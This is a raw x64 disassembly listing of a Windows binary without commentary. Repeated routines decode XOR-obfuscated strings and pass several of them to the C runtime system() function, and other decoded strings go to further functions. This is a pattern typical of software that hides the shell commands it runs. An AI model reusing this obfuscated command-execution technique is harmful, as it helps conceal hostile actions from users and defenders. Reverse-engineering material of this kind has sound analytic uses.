mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069db0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140068111
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400680d9
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140067fd2
cmp r8d, 0x1e
jge 0x140068111
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400680e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069de0
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x1400682c1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068287
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140068180
cmp r8d, 0x1f
jge 0x1400682c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x140068290
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069e20
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x140068471
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068437
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140068330
cmp r8d, 0x1d
jge 0x140068471
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140068440
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069e50
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140068621
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400685e7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400684e0
cmp r8d, 0x23
jge 0x140068621
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x1400685f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069e80
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x1400687d1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068797
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140068690
cmp r8d, 0x23
jge 0x1400687d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x1400687a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069eb0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140068981
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068941
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140068840
jmp 0x140068981
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140068950
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069ed0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140068b31
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068af7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400689f0
cmp r8d, 0x1b
jge 0x140068b31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x140068b00
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
call fcn.1400381a0
lea rdx, [rbp - 0x80]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069f00
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140068ce1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068ca9
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140068ba2
cmp r8d, 0x11
jge 0x140068ce1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140068cb0
lea rdx, [0x1401f7165]
mov rcx, r10
call fcn.140036640
test al, al
je 0x140068d09
cmp byte [0x1401f7165], 0
je 0x140068d04
call fcn.14006bcf0
jmp 0x140068d09
call fcn.14006bcf0
call fcn.1400381a0
call fcn.14000c990
call fcn.1400170d0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
call fcn.140016f80
movss xmm0, dword [0x14017a870]
call fcn.140016c00
lea rcx, [rbp + 0x4e8]
call fcn.140016f20
movss xmm7, dword [rax + 4]
mulss xmm7, xmm8
addss xmm7, dword [0x14017a880]
call fcn.140004810
lea rcx, [rbp + 0x4f0]
movss xmm0, dword [rax + 0x50]
mulss xmm0, xmm8
subss xmm7, xmm0
subss xmm7, dword [0x14017a808]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x4f8]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a85c]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x872]
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x61]
mov byte [rsp + 0x61], 0
call fcn.140069f20
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140068f21
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140068ee7
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140068ef0
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, r10
call fcn.14000c880
call fcn.1400381a0
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069f50
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x1400690e1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400690a7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140068fa0
cmp r8d, 0x17
jge 0x1400690e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1400690b0
mov r8d, 0x30020
lea rdx, [0x1401c0360]
mov rcx, r10
call fcn.140041410
call fcn.14000c990
call fcn.1400170d0
movss xmm6, dword [0x14017a7dc]
lea rcx, str.Notification_
movaps xmm1, xmm6
call fcn.140057cc0
mov ecx, 1
call fcn.140004be0
lea rcx, [rbp + 0x48]
call fcn.1400462f0
lea rcx, [rbp + 0x10]
call fcn.1400462f0
movss xmm7, dword [0x14017a808]
jmp 0x140069145
movss xmm6, dword [0x14017a7dc]
call fcn.140012140
call fcn.14000b700
mov rcx, qword [0x1401f6db0]
lea r8, [0x1401f6c98]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x5a0], xmm0
mov rax, qword [rcx]
lea edx, [r9 + 1]
call qword [rax + 0x108]
mov rcx, qword [0x1401f6db0]
lea r8, [rbp + 0x5a0]
mov rdx, qword [0x1401f6c98]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.1400085c0
mov rcx, rax
call fcn.1400494c0
mov rcx, qword [0x1401f6d60]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 1]
call qword [rax + 0x40]
jmp 0x14005fc40
call fcn.14004a720
call fcn.14004aa60
xor ecx, ecx
call fcn.140006650
call fcn.14006a110
mov rcx, qword [0x1401c1240]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
movaps xmm14, xmmword [rsp + 0xb80]
